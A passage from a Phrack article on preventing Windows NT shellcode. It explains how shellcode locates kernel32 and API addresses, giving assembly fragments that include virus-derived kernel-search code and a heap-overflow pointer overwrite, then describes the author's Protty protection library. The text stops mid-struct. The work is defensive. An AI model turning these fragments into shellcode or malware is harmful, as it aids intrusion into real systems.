Copy Link
Add to Bookmark
Report

Phrack Inc. Volume 11 Issue 63 File 15

eZine's profile picture
Published in 
Phrack Inc
 · 5 years ago

  

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x0f of 0x14

|=---------------------------------------------------------------------=|
|=---------------=[ NT shellcodes prevention demystified ]=------------=|
|=---------------------------------------------------------------------=|
|=---------------=[by Piotr Bania <bania.piotr@gmail.com>]=------------=|


What was alive is now dead;
all that was beautiful
is now the ugliness of devastation
And yet I do not altogether die
what is indestructible in me
remains!

- Karol Wojtya,
Sophie Arie in Rome

...this short thing is dedicated to You - R.I.P
...a glorious era has already ended.




--[ Contents


I. Introduction

II. Known protections

II.A - Hooking API functions and stack backtracing.

II.B - Security cookie authentication (stack protection)

II.C - Additional mechanisms - module rebasing

III. What is shellcode and what it "must do"

IV. Getting addresses of kernel/needed functions - enemy study

IV.A - getting kernel address (known mechanisms)

IV.A.A - PEB (Process Environment Block) parsing

IV.A.B - searching for kernel in memory

IV.B - getting API addresses (known methods)

IV.B.A - export section parsing

IV.B.B - import section parsing

V. New prevention techniques

VI. Action - few samples of catched shellcodes

VII. Bad points (what you should know) - TODO

VIII. Last words

IX. Code

X. References




--[ I. Introduction


Nowadays there are many exploit prevention mechanisms for windows but each
of them can by bypassed (according to my information). Reading this
article keep in mind that codes and information provided here will
increase security of your system but it doesn't mean you will be
completely safe (cut&paste from condom box user manual).


--[ II. Known protections


Like I said before, today there exist many commercial prevention
mechanisms. Here we will get a little bit deeper inside of most common
ring3 mechanisms.


II.A Hooking API functions and stack backtracing
--------------------------------------------------

Many nowadays buffer overflows protectors are not preventing the buffer
overflow attack itself, but are only trying to detect running shellcode.
Such BO protectors usually hook API functions that usually are used by
shellcode. Hooking can be done in ring3 (userland) or kernel level (ring0,
mainly syscalls and native api hooking). Lets take a look at example of
such actions:


stack backtracing
-----------------

Lets check the NGSEC stack backtracing mechanism, now imagine a call was
made to the API function hooked by NGSEC Stack Defender.

So when a call to any of hooked APIs is done, the main Stack Defender
mechanism stored in proxydll.dll will be loaded by the hooked function
stored in .reloc section. Then following tests will be done:


Generally this comes up as params for the proxydll function (all of the
arguments are integers):
assume: argument 1 = [esp+0ch] - its "first" passed argument to the
function this is always equal to the stack address
0xC bytes from the ESP.
argument 2 = address from where hooked api was called
argument 3 = some single integer (no special care for this one)
argument 4 = stack address of given param thru hooked API call


MAIN STEPS:
- I. - execute VirtualQuery [1] on [esp+0Ch] (stack address)-LOCATION1
- II. - execute VirtualQuery [1] on call_ret address - LOCATION2
- III. - if LOCATION1 allocation base returned in one of the members of
MEMORY_BASIC_INFORMATION [2] is equal to the LOCATION2
allocation base then the call is comming for the stack space.
Stack Defender kills the application and reports attack probe to
the user. If not next step is executed.
- IV. - call IsBadWritePtr [3] on location marked as LOCATION2 (addres
of caller). If the API returns that location is writeable Stack
Defender finds it as a shellcode and kills the application. If
location is not writeable StackDefender executes the original
API.





hooking exported API functions
------------------------------

When module exports some function it means that it's making this fuction
usable for other modules. When such function is exported, PE file includes
an information about exported function in so called export section.
Hooking exported function is based on changing the exported function
address in AddressOfFunctions entry in the export section. The great and
one of the first examples of such action was very infamous i-worm.Happy
coded by french virus writter named as Spanska. This one hooks send and
connects APIs exported from WSOCK32.DLL in order to monitor all outgoing
messages from the infected machine. This technique was also used by one of
the first win32 BO protectors - the NGSEC's Stack Defender 1.10. The NGSEC
mechanism modifies the original windows kernel (kernel32.dll) and hooks
the following functions:

(the entries for each of the exported functions in EAT (Export Address
Table) were changed, each function was hooked and its address was
"repointed" to the .reloc section where the filtering procedure will
be executed)

- WinExec
- CreateProcessW
- CreateProcessA
- LoadLibraryExA
- LoadLibraryExW
- OpenFile
- CreateThread
- CreateRemoteThread
- GetProcAddress
- LoadModule
- CreateFileA
- CreateFileW
- _lopen
- _lcreat
- CopyFileA
- CopyFileW
- CopyFileExA
- CopyFileExW
- MoveFileA
- MoveFileExW
- LockFile
- GetModuleHandleA
- VirtualProtect
- OpenProcess
- GetModuleHandleW
- MoveFileWithProgressA
- MoveFileWithProgressW
- DeleteFileA




inline API hooking
------------------

This technique is based on overwritting the first 5 bytes of API function
with call or unconditional jump.

I must say that one of the first implementations of such "hooking"
technique (well i don't mean the API hooking method excatly) was described
by GriYo in [12]. The feature described by GriYo was named "EPO" -
"Entry-point Obscuring". Instead of changing the ENTRYPOINT of PE file [9]
GriYo placed a so called "inject",a jump or call to virus inside host code
but far away from the file entry-point. This EPO technique makes a virus
detection much much harder...

Of course the emulated bytes must be first known by the "hooker". So it
generally must use some disassembler engine to determine instructions
length and to check its type (i think you know the bad things can happen
if you try to run grabbed call not from native location). Then those
instructions are stored locally and after that they are simply executed
(emulated). After that the execution is returned to native location. Just
like the schema shows.

Inline API hooking feature is also present in Detours library developed
by Microsoft [4]. Here is the standard sample how hooked function looks
like:

BEFORE:
;----------SNIP--------------------------------------------
CreateProcesA: push ebp ; 1 bytes
mov ebp,esp ; 2 bytes
push 0 ; 2 bytes
push dword ptr [ebp+2c]
...
;----------SNIP--------------------------------------------

AFTER (SCHEMA):
;----------SNIP--------------------------------------------
CreateProcessA: jmp hooked_function
where_ret: push dword ptr [ebp+2c]
...


hooked_function: pushfd ; save flags
pushad ; save regs
call do_checks ; do some checks
popad ; load regs
popfd ; loadflags

push ebp ; emulation
mov ebp,esp ; of original
push 0 ; bytes

push offset where_ret ; return to
ret ; original func.


;----------SNIP--------------------------------------------

Such type of hooking method was implemented in Okena/CSA and Entercept
commercial mechanisms. When the hooked function is executed, BO prevention
mechanism does similiar checks like in described above.

However BO preventers that use such feature can be defeat easily. Because
I don't want to copy other phrack articles I suggest you looking at
"Bypassing 3rd Party Windows Buffer Overflow Protection" [5] (phrack#62).
It is a good article about bypassing such mechanisms.

II.B Security cookie authentication (stack protection)
--------------------------------------------------------

This technique was implemented in Windows 2003 Server, and it is very
often called as "build in Windows 2003 Server stack protection". In
Microsoft Visual C++ .NET Microsoft added a "/GS" switch (default on)
which place security cookies while generating the code. The cookie
(or canary) is placed on the stack before the saved return address
when a function is called. Before the procedure returns to the caller
the security cookie is checked with its "prototype" version
stored in the .data section. If the buffer overflow occurs the cookie
is overwritten and it mismatches with the "prototype" one. This is the
sign of buffer overflow.


Bypassing this example was well documented by David Litchfield so I
advice you to take a look at the lecture [6].


II.C Additional mechanisms - module rebasing
----------------------------------------------

When we talk about buffer overflow prevention mechanism we shouldn't
forget about so called "module rebasing". What is the idea of this
technique? Few chapters lower you have an example code from "searching for
kernel in memory"
section, there you can find following variables:


;----------SNIP--------------------------------------------
; some of kernel base values used by Win32.ls
_kernells label
dd 077e80000h - 1 ;NT 5
dd 0bff70000h - 1 ;w9x
dd 077f00000h - 1 ;NT 4
dd -1
;----------SNIP--------------------------------------------

Like you probably know only these kernel locations in the table will be
searched, what happens if shellcode doesn't know the imagebase of
needed module (and all the search procedures failed)? Answer is easy
shellcode can't work and it quits/crashes in most cases.

How the randomization is done? Generally all PE files(.exe/.dlls etc. etc)
have an entry in the PE record (offset 34h) which contains the address
where the module should be loaded. By changing this value we are able to
relocate the module we want, of course this value must be well calculated
otherwise your system can be working incorrectly.

Now, after little overview of common protections we can study the
shellcode itself.


--[ III. What is shellcode and what it "must do"

For those who don't know: Shellcode is a part of code which does all the
dirty work (spawns a shell / drops trojans / bla bla) and it's a core of
exploit.

What windows shellcode must do? Lets take a look at the following sample
schema:

1) - getting EIP
2) - decoding loop if it's needed
3) - getting addresses of kernel/needed functions
4) - spawning a shell and all other dirty things

If you read assumptions (point II) and some other papers you will
probably know that there is no way to cut third point from shellcode
schema. Every windows shellcode must obtain needed data and that's a step
we will try to detect.

Of course shellcode may use the hardcoded kernel value or hardcoded API
values. That doesn't mean that shellcode will be not working, but
generally things get harder when attacker doesn't know the victim machine
(version of operating system - different windows = different kernel
addresses) or when the victim machine works with some protection levels
like image base rebasing. Generally hardcoding those values decreases the
success level of the shellcode.



--[ IV. Getting addresses of kernel/needed functions - enemy study

This chapter describes shortly most common methods used in shellcodes. To
dig more deeply inside the stuff I advice you to read some papers from the
Reference section

--[ IV.A - getting kernel address (known mechanisms)

IV.A.A - PEB (Process Environment Block) parsing
--------------------------------------------------

PEB (Process Environment Block) parsing - the following method was first
introduced by the guy called Ratter [7] from infamous 29A group. By
parsing the PEB_LDR_DATA we can obtain information about all currently
loaded modules, like following example shows:

;----------SNIP--------------------------------------------

mov eax,dword ptr fs:[30h] ; EAX is now PEB base
mov eax,dword ptr [eax+0ch] ; EAX+0Ch = PEB_LDR_DATA
mov esi,dword ptr [eax+1ch] ; get the first entry

mov ebx,[esi+08h] ; EBX=ntdll imagebase

module_loopx:
lodsd
mov ebx,[eax+08h] ; EBX=next dll imagebase
test ebx,ebx
jz @last_one_done
int 3
mov esi,eax ; continue search
jmp module_loopx

;----------SNIP---------------------------------------------



IV.A.B - searching for kernel in memory
-----------------------------------------

searching for kernel in memory - this example scans/tries different kernel
locations (for different windows versions) and searches for MZ and PE
markers, the search progress works together with SEH frame to avoid access
violations.

Here is the example method (fragment of Win32.ls virus):


;----------SNIP--------------------------------------------

cld
lea esi,[ebp + offset _kernells - @delta] ; load the kernel
; array

@nextKernell:
lodsd ; load on base to EAX
push esi ; preserve ESI (kernel array location)
inc eax ; is this the last one ? (-1+1=0)
jz @bad ; seems so -> no kernel base matched

push ebp ; preserve EBP (delta handler)
call @kernellSEH ; check the loaded base

mov esp,[esp + 08h] ; restore the stack

@bad1:
pop dword ptr fs:[0] ; restore old SEH frame
pop eax ; normalize the stack
pop ebp ; load delta handle
pop esi ; go back to kernel array
jmp @nextKernell ; and check another base

@bad:
pop eax ; no kernel found, virus
jmp @returnHost ; returning to host

; some of kernel base values used by Win32.ls
_kernells label
dd 077e80000h - 1 ;NT 5
dd 0bff70000h - 1 ;w9x
dd 077f00000h - 1 ;NT 4
dd -1

@kernellSEH:
push dword ptr fs:[0] ; setup new SHE handler
mov dword ptr fs:[0],esp
mov ebx,eax ; EBX=imagebase
xchg eax,esi
xor eax,eax
lodsw ; get first 2 bytes from imagebase
not eax ; is it MZ?
cmp eax,not 'ZM' ; compare
jnz @bad1 ; it isn't check next base
mov eax,[esi + 03ch] ; MZ is found now scan for PE sign
add eax,ebx ; normalize (RVA2VA)
xchg eax,esi
lodsd ; read 4 bytes
not eax
cmp eax,not 'EP' ; is it PE?
jnz @bad1 ; nope check next base

pop dword ptr fs:[0] ; return (setup) old SEH
pop eax ebp esi ; clear stack
; EBX is now valid kernel base

;----------SNIP--------------------------------------------


--[ IV.B - getting API addresses (known methods)


IV.B.A - export section parsing
---------------------------------

export section parsing - when the module (usually kernel32.dll) base is
located, shellcode can scan export section and find some API functions
needed for later use. Usually shellcode is searching for GetProcAddress()
function address, then it is used to get location of the others APIs.

Following code parses kernel32.dll export section and gets address of
GetProcAddress API:

;----------SNIP--------------------------------------------
; EAX=imagebase of kernel32.dll

xor ebp,ebp ; zero the counter
mov ebx,[eax+3ch] ; get pe header
add ebx,eax ; normalize

mov edx,[ebx+078h] ; export section RVA
add edx,eax ; normalize

mov ecx,[edx+020h] ; address of names
add ecx,eax ; normalize
mov esi,[edx+01ch] ; address of functions
add esi,eax ; normalize

loop_it:
mov edi,[ecx] ; get one name
add edi,eax ; normalize
cmp dword ptr [edi+4],'Acor' ; is it GetP-rocA-ddress ?? :)
jne @l ; nope -> jump to @l

; yes it is
add esi,ebp ; add out counter
mov esi,[esi] ; get the address
add esi,eax ; normalize
int 3 ; ESI=address of GetProcAddress

@l:
add ecx,4 ; to next name
add ebp,4 ; update counter (dwords)
jmp loop_it ; and loop it again

;----------SNIP--------------------------------------------



IV.B.B - import section parsing
---------------------------------

import section parsing - 99% of hll applications import
GetProcAddress/LoadLibraryA, it means that their IAT (Import Address
Table) includes address and name string of the mentioned functions.
If shellcode "knows" the imagebase of target application it can easily
grab needed address from the IAT.

Just like following code shows:


;----------SNIP--------------------------------------------
;following example gets LoadLibraryA address from IAT

IMAGEBASE equ 00400000h

mov ebx,IMAGEBASE
mov eax,ebx
add eax,[eax+3ch] ; PE header

mov edi,[eax+80h] ; import RVA
add edi,ebx ; normalize
xor ebp,ebp

mov edx,[edi+10h] ; pointer to addresses
add edx,ebx ; normalize

mov esi,[edi] ; pointer to ascii strings
add esi,ebx ; normalize

@loop:
mov eax,[esi]
add eax,ebx
add eax,2
cmp dword ptr [eax],'daoL' ; is this LoadLibraryA?
jne @l

add edx,ebp ; normalize
mov edx,[edx] ; edx=address of
int 3 ; LoadLibraryA

@l:
add ebp,4 ; increase counter
add esi,4 ; next name
jmp @loop ; loop it

;----------SNIP--------------------------------------------


After this little introduction we can finally move to real things.


--[ V. New prevention techniques


While thinking about buffer overflow attacks I've noticed that methods
from chapter IV are most often used in shellcodes. And thats the thing
I wanted to prevent, I wanted to develop prevention technique which acts
in very early stage of shellcode execution and here are the results of
my work:

Why two Protty libraries / two techniques of prevention?

When I have coded first Protty (P1) library it worked fine except some
Microsoft products like Internet Explorer, Explorer.exe (windows manager)
etc. in thoose cases the prevention mechanisms eat all cpu.
I simply got nervous and I have rebuilt the mechanisms and that's how
second Protty (P2) library was born. Im describing them both because
everything that gives any bit of knowledge is worth describing :) Anyway
Im not saying the second one is perfect each solution got its bad and
good points.

What I have done - the protection features:
- protecting EXPORT section - protecting function addresses array
(any exe/dll library)
- IAT RVA killer (any exe/dll library)
- protecting IAT - protecting functions names array (any exe/dll library)
- protecting PEB (Process Environment Block)
- disabling SEH/Unhandled Exception Filter usage
- RtlEnterCrticialSection pointer protector


NOTE: All those needed pointers (IMPORT/EXPORT sections) are found in
similiar way like in IVth chapter.



FEATURE: EXPORT SECTION PROTECTION (protecting "function addresses array")
-------

Every shellcode that parses EXPORT section (mainly kernel32.dll one) want
to get to exported function addresses, and that's the thing I tried to
block, here is the technique:

Algorithm/method for mechanism used in Protty1 (P1):
---------------------------------------------------

1. Allocate enough memory to handle Address Of Functions table from
the export section.

Address of Function table is an array which cointains addresses
of exported API functions, like here for KERNEL32.DLL:

D:\>tdump kernel32.dll kernel32.txt & type kernel32.txt


(...snip...)
Name RVA Size
------------------ -------- --------
Exports 0006D040 00006B39
(...snip...)


Exports from KERNEL32.dll
942 exported name(s), 942 export addresse(s). Ordinal base is 1.

Ordinal RVA Name
------- -------- ----
0000 000137e8 ActivateActCtx
0001 000093fe AddAtomA
0002 0000d496 AddAtomW
0003 000607c5 AddConsoleAliasA
0004 0006078e AddConsoleAliasW
0005 0004e0a1 AddLocalAlternateComputerNameA
0006 0004df8c AddLocalAlternateComputerNameW

(...snip...)


Where RVA values are entries from Address of Functions table, so
if first exported symbol is ActivateActCtx, first entry of Address
of Function will be its RVA. The size of Address of Functions
table depends on number of exported functions.

All those IMPORT / EXPORT sections structures are very well
documented in Matt Pietrek, "An In-Depth Look into the Win32
Portable Executable File Format"
paper [9].


2. Copy original addresses of functions to the allocated memory.
3. Make original function addresses entries writeable.
4. Erase all old function addresses.
5. Make erased function addresses entries readable only.
6. Update the pointer to Address of Functions tables and point it to our
allocated memory:
- Make page that contains pointer writeable.
- Overwrite with new location of Address of Function Table
- Make page that contains pointer readable again.


7. Mark allocated memory (new function addresses) as PAGE_NOACCESS.

We couldn't directly set the PAGE_NOACCESS protection to original
function addresses because some other data in the same page must be
also accessible (well SAFE_MEMORY_MODE should cover all cases even when
protection of original page was changed to PAGE_NOACCESS - however such
action increases CPU usage of the mechanism). The best way seems to be
to allocate new memory region for it.

What does the PAGE_NOACCESS protection? :

- PAGE_NOACCESS disables all access to the committed region of pages.
An attempt to read from, write to, or execute in the committed region
results in an access violation exception, called a general protection
(GP) fault.

Now all references to the table with function addresses will cause an
access violation exception, the description of the exception checking
mechanism is written in next chapter ("Description of mechanism
implemented in ..."
).




Just like the schema shows (A. - stands for "address"):

--- SNIP --- START OF SCHEMA. 1a

SOME PE MODULE
------------------
| export section |
|------------------|
| start | + imagebase
| (...) | -----------> OLD ARRAY WITH FUNCTIONS ADDRS
|------------------| |
| NUMBER OF NAMES | |
|------------------|BEFORE^| AFTER>
| A. OF FUNCTIONS |-------------------
|------------------| + --//-- |
| A. OF NAMES | | (NEWLY ALLOCATED MEMORY)
|------------------| -> NEW ARRAY WITH FUNCTIONS ADDRS
| A. OF ORDINALS | |
|------------------| -----------------
| (...) | | function 1 addr | / PAGE
| end | | function 2 addr |- NO
------------------ | ... | \ ACCESS
----------------- RIGHTS

ALL FUNCTION ADDRESSES IN OLD ARRAY
WERE PERMANENTLY OVERWRITTEN WITH NULL!




--- SNIP --- END OF SCHEMA. 1a


Algorithm/method for mechanism used in Protty2 (P2):
---------------------------------------------------
1. Allocate enough memory to handle Address Of Functions table from
the export section.
2. Copy original addresses to the allocated memory.
3. Make original function addresses entries writeable.
4. Erase all old function addresses.
5. Make erased function addresses entries readable only.
6. Make pointer to Address Of Functions writeable.
7. Allocate small memory array for decoy (with PAGE_NOACCES rights).
8. Write entry to protected region lists.
8. Update the pointer to Address Of Functions and point it to our
allocated decoy.
9. Update protected region list (write table entry)
10.Make pointer to Address Of Function readable only.


--- SNIP --- START OF SCHEMA. 1b

SOME PE MODULE
------------------
| export section |
|------------------|
| start | + imagebase
| (...) | -----------> OLD ARRAY WITH FUNCTIONS ADDRS
|------------------| |
| NUMBER OF NAMES | |
|------------------|BEFORE^| AFTER>
| A. OF FUNCTIONS |-------------------
|------------------| + --//-- |
| A. OF NAMES | | ------------ /PAGENOACCESS
|------------------| -> | DECOY |- RIGHTS
| A. OF ORDINALS | ------------ \
|------------------|
| (...) | Somewhere in memory:
| end | (allocated memory with functions
------------------ address entries):
||
-----------------
| function 1 addr |
| function 2 addr |
| ... |
-----------------

ALL FUNCTION ADDRESSES IN OLD ARRAY
WERE PERMANENTLY OVERWRITTEN WITH NULL!

--- SNIP --- END OF SCHEMA. 1b


What have I gained by switching from the first method (real arrays) to the
second one (decoys)?

The answer is easy. The first one was pretty slow solution (all the time i
needed to deprotect the region and protect is again) in the second one i
don't have to de-protect and protect the real array, the only thing i need
to do is update the register value and make it point to the orginal
requested body.



FEATURE: IMPORT SECTION PROTECTION (protecting "functions names array" +
------- IAT RVA killer)

IAT RVA killer mechanism for both Protty1 (P1) and Protty2 (P2)
---------------------------------------------------------------

All actions are similar to those taken in previous step, however here we
are redirecting IMPORTS function names and overwriting IAT RVA (with
pseudo random value returned by GetTickCount - bit swapped).

And here is the schema which shows IAT RVA killing:

--- SNIP --- START OF SCHEMA. 2


SOME PE MODULE
------------------
| NT HEADER |
|------------------|
| start | + imagebase
| (...) | ------------> MODULE IMPORT SECTION
|------------------| |
| EXPORT SIZE | |
|------------------| BEFORE^| AFTER>
| IMPORT RVA |---------------------> NO EXISTING LOCATION (*)
|------------------| + --//--
| IMPORT SIZE |
|------------------|
| (...) |
| end |
------------------


(*) - the IMPORT RVA is overwritten with value returned by GetTickCount
swaped one time, generally it's kind of idiotic action because
many of you can assume such operation can give a drastic effect
with application stability. Well you are wrong, overwritting the
IMPORT RVA >after< successful loading of any pe module has no
right to cause instability (atleast it worked in my case, remeber
this is windows and you are messing a lot ...)


--- SNIP --- END OF SCHEMA. 2


And here's the one describing protecting "functions names array", for
Protty1 (P1):


--- SNIP --- START OF SCHEMA. 3a


SOME PE MODULE
------------------
| import section | +blabla
|------------------| ----------> ARRAY OF FUNCTION NAMES
| start | |
| (...) | |
|------------------| BEFORE^ | AFTER>
| A. OF NAMES |----------------------> (NEWLY ALLOCATED MEMORY)
|------------------| +blabla NEW ARRAY OF FUNCTION NAMES
| (...) | |
| end | -----------------
------------------ | "Function1",0 |/ PAGE
| "Function2",0 |- NO
| "Function3",0 |\ ACCESS
----------------- RIGHTS


ALL NAMES IN OLD NAMES OF FUNCTIONS ARRAY
WERE PERMANENTLY OVERWRITTEN BY NULL



NOTE: I have choosed Address Of Names array, because it is much less
accessed memory region than Address Of Functions array - so
less CPU consumption (but bit more unsecure - you can do it
yourself).


--- SNIP --- END OF SCHEMA. 3a

And here's the one describing protecting "functions names array", for
Protty1 (P2):

--- SNIP --- START OF SCHEMA. 3b


SOME PE MODULE
------------------
| import section | +blabla
|------------------| ----------> ARRAY OF FUNCTION NAMES
| start | |
| (...) | |
|------------------| BEFORE^ | AFTER> ------------- / PAGE
| A. OF NAMES |----------------------> | DECOY |-NO ACCESS
|------------------| +blabla ------------- \ RIGHTS
| (...) |
| end |
------------------ Somewhere in memory:
(allocated memory with original
function names):
||
-----------------
| "Function1",0 |
| "Function2",0 |
| "Function3",0 |
-----------------


ALL NAMES IN OLD NAMES OF FUNCTIONS ARRAY
WERE PERMANENTLY OVERWRITTEN BY NULL

--- SNIP --- END OF SCHEMA. 3b


FEATURE: PEB (Process Environment Block) protection (PEB_LDR_DATA)
-------

Algorithm/method for mechanism used in Protty1 (P1):
---------------------------------------------------
1. Get PEB_LDR_DATA [7] structure location
2. Update the region list
3. Mark all PEB_LDR_DATA [7] structure as PAGE_NO_ACCESS


--- SNIP --- START OF SCHEMA. 4a

------------------
| PEB_LDR_DATA |\
| .... |---- NOW MARKED WITH PAGE_NOACCESS.
| .... |/
------------------

--- SNIP --- END OF SCHEMA. 4a


Algorithm/method for mechanism used in Protty2 (P2):
---------------------------------------------------
1. Get InInitializationOrderModuleList [7] structure location
2. Write table entry (write generated faked address)
3. Write table entry (write original location of InInitOrderML...)
4. Change the pointer to InInitializationOrderModuleList, make it
point to bad address.

Here is the schema (ML stands for ModuleList):

--- SNIP --- START OF SCHEMA. 4b

[PEB_LDR_DATA]:

------------------
| Length |
|------------------|
| Initialized |
|------------------| --------------------------
| SsHandle | |LIST_ENTRY InInit.OrderML |
|------------------| .--------> | |
| InLoadOrderML | | --------------------------
|------------------| |
| InMemoryOrderML | |
|------------------| BEFORE^ | AFTER>
| InInit.OrderML |--------------------> RANDOM MINUS VALUE
|------------------| (not existing location)
------------------


NOTE: why MINUS VALUE? Generally I choose minus one because there
is no minus valid location and this will generate a exception
for sure, anyway this value can be changed and we can add a DECOY
memory area like in upper cases (but in this case region size
should be bigger). Minus value can be used for shellcodes to
find protection occurency - however if anybody wanna play...


--- SNIP --- END OF SCHEMA. 4b



FEATURE: Disabling SEH / Unhandled Exception Filter pointer usage.
-------

Description for both Protty1 (P1) and Protty 2 (P2)
---------------------------------------------------

Every time access violation exception occurs in protected program,
prevention mechanism tests if the currently active SEH frame points
to writeable location, if so Protty will stop the execution.

If UEF_HEURISTISC is set to TRUE (1) Protty will check that actual
set Unhandled Exception Filter starts with prolog (push ebp/mov ebp,esp)
or starts with (push esi/mov esi,[esp+8]) otherwise Protty will kill
the application. After this condition Protty checks that currently
active Unhandled Exception Filter is writeable if so application
is terminated (this also stands out for the default non heuristisc
mode).

Why UEF? Unhandled Exception Filter is surely one of the most used
methods within exploiting windows heap overflows. The goal of this
method is to setup our own Unhandled Filter, then when any unhandled
exception will occur attackers code can be executed. Normally attacker
tries to set UEF to point to call dword ptr [edi+78h], because
78h bytes past EDI there is a pointer to the end of the buffer.
To get more description of this exploitation technique check point [8]
from Reference section.

NOTE: Maybe there should be also a low HEURISTICS mode with
jmp dword ptr [edi+78h] / call dword ptr [edi+78h] occurency
checker, however the first one covers them all.



FEATURE: RtlEnterCrticialSection pointer protector
-------

Description for both Protty1 (P1) and Protty 2 (P2)
---------------------------------------------------

Like in above paragraph, library checks if pointer to
RtlEnterCriticalSection pointer has changed, if it did, prevention
library immediately resets the original pointer and stops the program
execution.

RtlEnterCritical pointer is often used in windows heap overflows
exploitation.

Here is the sample attack:

(sample scenerio of heap overflow)
;----------SNIP--------------------------------------------
; EAX, ECX are controled by attacker
; assume:
; ECX=07FFDF020h (RtlEnterCrticialSection pointer)
; EAX=location where attacker want to jump

mov [ecx],eax ; overwrites the pointer
mov [eax+0x4],ecx ; probably causes access
; violation
; if so the execution is
; returned to "EAX"

;----------SNIP--------------------------------------------

You should also notice that even when the access violation will not
occur it doesn't mean attackers code will be not excuted.
Many functions (not directly) are calling RtlEnterCriticalSection
(the address where 07FFDF020h points), so attacker code can be
executed for example while calling ExitProcess API. To find more
details on this exploitation technique check point [10] from Reference
section.


FEATURE: position independent code, running in dynamicaly allocated memory
-------

Protty library is a position independent code since it uses so called
"delta handling". Before start of the mechanism Protty allocates memory
at random location and copy its body there, and there it is executed.

What is delta handling? Lets take a look at the following code:

;----------SNIP--------------------------------------------
call delta ; put delta label offset on the
; stack
delta: pop ebp ; ebp=now delta offset
sub ebp offset delta ; now sub the linking value of
; "delta"
;----------SNIP--------------------------------------------

As you can see delta handle is a numeric value which helps you with
addressing variables/etc. especially when your code do not lay in native
location.

Delta handling is very common technique used by computer viruses. Here is
a little pseudo code which shows how to use delta handling with
addressing:

;----------SNIP--------------------------------------------
;ebp=delta handle
mov eax,dword ptr [ebp+variable1]
lea ebx,[ebp+variable2]
;----------SNIP--------------------------------------------

Of course any register (not only EBP) can be used :)

The position independent code was done to avoid easy disabling/patching by
the shellcode itself.


-------------------------------------------------------------------------
|Description of mechanism implemented in Protty1 (P1)|
-------------------------------------------------------------------------

NOTE: That all features written here were described above.
You can find complete descriptions there (or links to them).

Mechanism takeovers the control of KiUserExceptionDispatcher API (exported
by NTDLL.DLL) and that's where the main mechanism is implemented. From
that point every exception (caused by program) is being filtered by
our library. To be const-stricto, used mechanism only filters all Access
Violations exceptions. When such event occurs Protty first checks if the
active SEH (Structured Exception Handler) frame points to good location
(not writeable) if the result is ok it continues testing, otherwise it
terminates the application. After SEH frame checking, library checks the
address where violation came from, if its bad (writeable) the program
is terminated. Then it is doing the same with pointer to Unhandled
Exception Filter. Next it checks if pointer to RtlEnterCriticalSection
was changed (very common and useful technique for exploiting windows based
heap overflows) and kills the application if it was (of course the pointer
to RtlEnterCriticalSection is being reset in the termination procedure).
If application wasn't signed as BAD and terminated so far, mechanism must
check if violation was caused by reference to our protected memory
regions, if not it just returns execution to original handler.
Otherwise it checks if memory which caused the exception is stored
somewhere on the stack or is writeable. If it is, program is terminated.
When the reference to protected memory comes from GOOD location, mechanism
resets protection of needed region and emulates the instruction which
caused access violation exception (im using z0mbie's LDE32 to determine
instruction length), after the emulation, library marks requested region
with PAGE_NOACCESS again and continues program execution. That's all -
for more information check the source codes attached and test it in
action. (Take a look at the "catched shellcodes" written in next section)

In the time of last add-ons for the article, Phrack stuff noticed me that
single stepping will be more good solution. I must confess it really can
do its job in more fast way. I mark it as TODO.



Few words about the emulation used in P1:
----------------------------------------

Generally I have two ways of doing it. You already know one. I'm going to
describe another one now.

Instead of placing jump after instruction that caused the access violation
exception I could emulate it locally, it's generally more slower/faster
more weird (?), who cares (?) but it should work also. Here is the short
description of what have to be done:

(optional algorithm replacement for second description written below)
STEP 1 - Get instruction length, copy the instruction to local buffer
STEP 2 - Deprotect needed region
STEP 3 - Change the contexts, of course leave the EIP alone :)) save
the old context somewhere
STEP 4 - Emulate the instruction
STEP 5 - Update the "target" context, reset old context
STEP 6 - Protect all regions again
STEP 7 - continue program execution by NtContinue() function


And here is the more detailed description of currently used
instruction emulation mechanism in Protty:

STEP 1 - Deprotect needed region
STEP 2 - Get instruction length
STEP 3 - Make the location (placed after instruction) writeable
STEP 4 - Save 7 bytes from there
STEP 5 - Patch it with jump
STEP 6 - use NtContinue() to continue the execution, after executing
the first instruction, second one (placed jump) returns
the execution to Protty.
STEP 7 - Reset old 7 bytes to original location (un-hooking)
STEP 8 - Mark the location (placed after instruction) as
PAGE_EXECUTE_READ (not writeable)
STEP 9 - Protect all regions again, return to "host"



-------------------------------------------------------------------------
|Description of mechanism implemented in Protty2 (P2)|
-------------------------------------------------------------------------

The newer version of Protty library (P2) also resides in
KiUserExceptionDispatcher,where it filters all exceptions like the
previous version did. So the method of SEH/UEF protection is the same as
described in Protty1. What is the main difference? Main difference is that
current mechanism do not emulate instruction and do not deprotect regions.
It works in completely different way. When some instruction (assume it is
GOOD - stored in not writeable location) tries to access protected region
it causes access violation. Why so? Because if you remember the ascii
schemas most of them point to DECOY (which is not accessible memory) or
to a minus memory location (invalid one). This causes an exception,
normally as described earlier the mechanism should de-prot the locations
and emulate the intruction, but not in this case. Here we are checking
what registers were used by the instruction which caused fault, and then
by scanning them we are checking if any of them points somewhere inside
"DECOYS" offsets.

How the mechanism know whats registers are used by instruction!?
----------------------------------------------------------------
To understand how the prevention mechanism works, the reader should
know about so called "opcode decoding", this !IS NOT! the full tutorial
but it describes the main things reader should know (for more check
www.intel.com or [8]). I would also like to thank Satish K.S for
supporting me with great information which helped me to make the
"tutorial" suitable for human beings (chEERs ricy! :))

The instructions from Intel Architecture are encoded by using subsets of
the general machine instruction format, like here:


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A A * * * A A
A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA
A A A
A A A
Opcode ModR/M Byte SIB Byte
1 or 2 Bytes


Each instruction consists of an Opcode, a Register and/or Address mode
specifier (if required) consisting of the ModR/M byte and sometimes the
scale -index-base (SIB) byte, a displacement (if required), and an
immediate data field (if required).

Z0mbies ADE32 engine can disassembly every instruction and return the
DISASM structure which provides information useful for us.
Here is the structure:


struct disasm_struct
{
IN OUT BYTE disasm_defaddr; -- specify 4 for 32-bit code
IN OUT BYTE disasm_defdata; -- specify 4 for 32-bit code
